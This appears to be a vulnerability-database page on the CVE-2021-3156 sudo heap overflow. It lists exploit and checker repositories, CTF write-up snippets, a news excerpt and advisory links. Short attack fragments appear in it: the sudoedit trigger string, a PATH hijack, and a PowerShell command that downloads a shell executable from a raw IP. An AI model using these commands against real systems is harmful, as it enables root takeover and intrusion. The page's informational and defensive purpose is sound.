Cat-picture---Tryhackme Cat Pictures 2 Writeup This is a walkthrough of the Cat Pictures 2 CTF from TryHackMe The room can be accessed here Recon I started by running an Nmap scan to identify open ports on the target machine: nmap -sV -sC -p- &lt;#TARGETIP&gt; -o nmap The scan revealed the following open ports: 22 - OpenSSH 76p1 80 - Nginx 146 (Lychee version 311

Research on various techniques to bypass default falco ruleset (based on falco v0.28.1).

This project describes my research on various techniques to bypass default falco ruleset (based on falco v0281) This is a research project that consists of documentation (all in READMEmd) and supporting artifacts placed in subdirectories The main directory contains the Dockerfile for sshayb/fuber:latest image used extensively in this project as well as the artifacts needed

CVE-2021-3156 PoC Introduction This is an exploit for the CVE-2021-3156 sudo vulnerability (dubbed Baron Samedit by Qualys) Usage build: $ make list targets: $ /sudo-hax-me-a-sandwich run: $ /sudo-hax-me-a-sandwich &lt;target_number&gt; manual mode:

Simple demo for Anchore Enterprise, including both Jenkins and GitHub workflow examples.

2022-06-enterprise-demo Simple demo for Anchore Enterprise, including Jenkins, CircleCI, Codefresh, and GitHub workflow examples Partial list of conditions that can be tested with this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (sudo, curl

Read Team vs Blue Team Engagement This project was created to act as both, an attacker and a defender of a cyber-attack As an attacker, gathering information about the systems is key Finding possible vulnerabilities, misconfigurations or anything that could allow us to compromise the victim machine As a defender, looking at the logs, trying to determine how this attack was c

Root shell PoC for CVE-2021-3156

CVE-2021-3156 Root shell PoC for CVE-2021-3156 (no bruteforce) For educational purposes etc Tested on Ubuntu 2004 against sudo 1831 All research credit: Qualys Research Team Check out the details on their blog You can check your version of sudo is vulnerable with: $ sudoedit -s Y If it asks for your password it's most likely vulnerable, if it prints usage information

PoC exploits for software vulnerabilities

CVE Exploit PoC's PoC exploits for multiple software vulnerabilities Current exploits CVE-2019-18634 (LPE): Stack-based buffer overflow in sudo tgetpassc when pwfeedback module is enabled CVE-2021-3156 (LPE): Heap-based buffer overflow in sudo sudoersc when an argv ends with backslash character CVE-2020-28018 (RCE): Exim Use-After-Free (UAF) in tls-opensslc leading t

sudo heap overflow to LPE, in Go

CVE-2021-3156 sudo heap overflow to LPE, in Go based on blasty's exploit

NixOS vulnerability testing Run all tests nix-build Run specific test nix-build -A cve-2021-3156

CVE-2021-3156漏洞修复Shell

CVE-2021-3156

My sudo heap overflow exploitation (ASLR is off)

my sudo heap overflow exploit (CVE-2021-3156) All credit for Qualys baron samedit sudo heap overflow (wwwqualyscom/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudotxt) The exploit is only for test purpose Test environment sudo version: 1831 Glibc version: 223 ASLR is off Reference wwwqualyscom/2021/01/26/cve-2021-3156/baron-samedit-heap

CVE-2021-3156 PoC Introduction This is an exploit for the CVE-2021-3156 sudo vulnerability (dubbed Baron Samedit by Qualys) Usage build: $ make list targets: $ /sudo-hax-me-a-sandwich run: $ /sudo-hax-me-a-sandwich &lt;target_number&gt; manual mode:

nsupdate dyno Hackthebox (Detailed Explanation) PATH echo $PATH export PATH=/tmp:$PATH SSH scp -r CVE-2021-3156 jake@101075244:/tmp/ ------- FILE UPLOADING ssh -L 8000:127001:8000 roy@101010212 ---------- PORTFORWARDING ssh jeff@jeffthm -t "bash --noprofile POWERSHELL powershell -c "Invoke-WebRequest -Uri '108338:8081/shellexe' -OutFil

Scans & Exploits

Scans &amp; Exploits This repository is intented to archive Scans &amp; Exploits written by my own Completed laravel_env_filepy - This script checks (and exploits) for Laravel's env disclosure CVE-2017-16894 laravel_debug_disclosurepy - This script checks for Laravel's Information disclosure via Debug activated cve_2021_3156sh - Checker for Sudo Heap-Base

Kumpulan teknik penyelesaian dari tryhackme room dan challenge

TryHackMe-WriteUps Repositori ini berisi Writeups TryHackMe Room dan Challenge Note: Silahkan coba semua tantangan/tugas anda terlebih dahulu Jika anda mengalami stuck maka ikuti saja petunjuk di Writeups ini Topik Binwalk Mengidentifikasi dan mengekstraksi file tersembunyi dibalik gambar: Agent Sudo Burp Suite Manipulasi header HTTP: Agent Sudo Crack Station Crack hash

Visualization, Fuzzing, Exploit and Patch of Baron Samedit Vulnerability

CVE-2021-3156 Visualization, Fuzzing, Exploit and Patch of Baron Samedit Vulnerability See report » Francesco Marchiori · Alessandro Lotto Table of Contents Abstract Visualization Fuzzing Exploit Patch 🧩 Abstract Any Unix-based Op

CVE-2021-3156 Sudo before 195p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via sudoedit -s and a command-line argument that ends with a single backslash character Credit to: Advisory by Baron Samedit of Qualys How to check if you are affected The sudo project released a command that allows you to t

CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)

CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) Root Exploit (No BruteForce) All research credit: Qualys Research Team Check out the details on their blog Manually installed Ubuntu 2004 LTS and Sudo version 1831 on Docker container for testing purpose and running the command sudoedit -s 'AAAAAAAAAAAAAAAAAAAA\' PoC

Simple demo for Anchore Enterprise, including both Jenkins and GitHub workflow examples.

2022-08-enterprise-demo Simple demo for Anchore Enterprise, including Jenkins, CircleCI, Codefresh, and GitHub workflow examples Partial list of conditions that can be tested with this image: xmrig cryptominer installed at /xmrig/xmrig simulated AWS access key in /aws_access simulated ssh private key in /ssh_key selection of commonly-blocked packages installed (sudo, curl,

CVE-2021-3156: Sudo heap overflow exploit for Debian 10

CVE-2021-3156 CVE-2021-3156: Sudo heap overflow exploit for Debian 10 Vulnerability analysis and exploit development: syst3mfailureio/sudo-heap-overflow

Recent Articles

Decade-old bug in Linux world's sudo can be abused by any logged-in user to gain root privileges
The Register • Thomas Claburn in San Francisco • 26 Jan 2021

Sudo, make me a heap overflow! Done, this system is now yours Oh ****... Sudo has a 'make anyone root' bug that needs to be patched – if you're unlucky enough to enable pwfeedback

Security researchers from Qualys have identified a critical heap buffer overflow vulnerability in sudo that can be exploited by rogue users to take over the host system. Sudo is an open-source command-line utility widely used on Linux and other Unix-flavored operating systems. It is designed to give selected, trusted users administrative control when needed. The bug (CVE-2021-3156) found by Qualys, though, allows any local user to gain root-level access on a vulnerable host in its default config...

References

CWE-193https://www.openwall.com/lists/oss-security/2021/01/26/3https://www.sudo.ws/stable.html#1.9.5p2http://www.openwall.com/lists/oss-security/2021/01/26/3https://security.gentoo.org/glsa/202101-33https://www.debian.org/security/2021/dsa-4839http://www.openwall.com/lists/oss-security/2021/01/27/1http://www.openwall.com/lists/oss-security/2021/01/27/2http://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.htmlhttps://security.netapp.com/advisory/ntap-20210128-0001/https://security.netapp.com/advisory/ntap-20210128-0002/https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sudo-privesc-jan2021-qnYQfcMhttp://packetstormsecurity.com/files/161230/Sudo-Buffer-Overflow-Privilege-Escalation.htmlhttp://packetstormsecurity.com/files/161270/Sudo-1.9.5p1-Buffer-Overflow-Privilege-Escalation.htmlhttps://www.kb.cert.org/vuls/id/794544http://packetstormsecurity.com/files/161293/Sudo-1.8.31p2-1.9.5p1-Buffer-Overflow.htmlhttps://support.apple.com/kb/HT212177http://seclists.org/fulldisclosure/2021/Feb/42https://kc.mcafee.com/corporate/index?page=content&id=SB10348http://www.openwall.com/lists/oss-security/2021/02/15/1https://lists.debian.org/debian-lts-announce/2021/01/msg00022.htmlhttp://seclists.org/fulldisclosure/2021/Jan/79https://www.beyondtrust.com/blog/entry/security-advisory-privilege-management-for-unix-linux-pmul-basic-and-privilege-management-for-mac-pmm-affected-by-sudo-vulnerabilityhttps://www.synology.com/security/advisory/Synology_SA_21_02https://www.oracle.com//security-alerts/cpujul2021.htmlhttp://www.openwall.com/lists/oss-security/2021/09/14/2https://www.oracle.com/security-alerts/cpuoct2021.htmlhttps://www.oracle.com/security-alerts/cpuapr2022.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LHXK6ICO5AYLGFK2TAX5MZKUXTUKWOJY/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CALA5FTXIQBRRYUA2ZQNJXB6OQMAXEII/http://www.openwall.com/lists/oss-security/2024/01/30/8http://www.openwall.com/lists/oss-security/2024/01/30/6http://packetstormsecurity.com/files/176932/glibc-syslog-Heap-Based-Buffer-Overflow.htmlhttp://seclists.org/fulldisclosure/2024/Feb/3https://nvd.nist.govhttps://www.debian.org/security/2021/dsa-4839https://www.cisa.gov/uscert/ics/advisories/icsa-22-256-01https://github.com/grng3r/rs_exploits